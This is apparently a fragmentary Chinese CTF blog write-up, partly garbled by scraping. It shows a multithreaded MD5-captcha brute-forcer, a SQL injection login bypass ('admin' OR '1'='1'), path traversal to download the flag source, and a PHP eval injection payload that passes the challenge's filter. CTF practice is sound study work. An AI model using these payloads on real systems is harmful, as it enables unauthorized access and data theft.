今天发生了一些事情,世事无常,哎。好好的享受当下,该吃吃该喝喝好吧。人活一辈子,到底为了啥?
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef
def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode(‘utf-8‘)).hexdigest()
keymd5 = ‘8e6d35‘ #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 6
def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(‘:‘)
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[0:6] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break
list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ‘:‘ + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()
admin‘ OR ‘1‘=‘1
,我一开始用的1‘ OR ‘1‘=‘1
显示错误,瓜皮……/Challenges/action.php?action=file
,这个界面下有三个文件可以下载,当然,只有一个文件有点用,告诉我们flag在服务器根目录中web root dir
./file/download.php?f=
,我一开始把它换成../flag.php
并不能下载,应该是被过滤掉了……最后才知道上边提到的根目录,是真的让我们直接输入根目录/var/www/html/Chalenges/flag.php
,这样就能成功下载下来了。
6. 下载下来的flag.php代码如下:
<?php
$f = $_POST[‘flag‘];#post给flag赋值
$f = str_replace(array(‘`‘, ‘$‘, ‘*‘, ‘#‘, ‘:‘, ‘\\‘, ‘"‘, "‘", ‘(‘, ‘)‘, ‘.‘, ‘>‘), ‘‘, $f);#过滤掉一些字符
if((strlen($f) > 13) || (false !== stripos($f, ‘return‘)))#长度不能超过13,并且不能出现return
{
die(‘wowwwwwwwwwwwwwwwwwwwwwwwww‘);
}
try
{
eval("\$spaceone = $f");#eval方法把一个字符串当作命令执行,经常用于一句话木马,这里是要给变量赋值
}
catch (Exception $e)
{
return false;
}
if ($spaceone === ‘flag‘){#输出flag的条件
echo file_get_contents("helloctf.php");
}
?>
看到最后出来一个helloctf.php
,我寻思直接用第5步的方法下载下来不就完了,然而出题人早就料到了??当然,我也料到了他应该早就料到了??
构造payloadflag=‘flag‘;
,这里又个坑,就是flag后边要加分号;
,因为eval方法中的字符串要成句才能执行,因此这里的分号不可缺少。
响应的还是空白页面……不看源码还以为做错了??
false!=stripos($f, ‘return‘)
的话,完全可以构造return返回一个flag。action=file
,但是提醒需要先登录,我想知道他是怎么判断这个用户是否登陆了的,是不是在cookie中或者其他地方做了标记呢?要是能看到源码就好了……原文:https://www.cnblogs.com/qiaowukong/p/13630130.html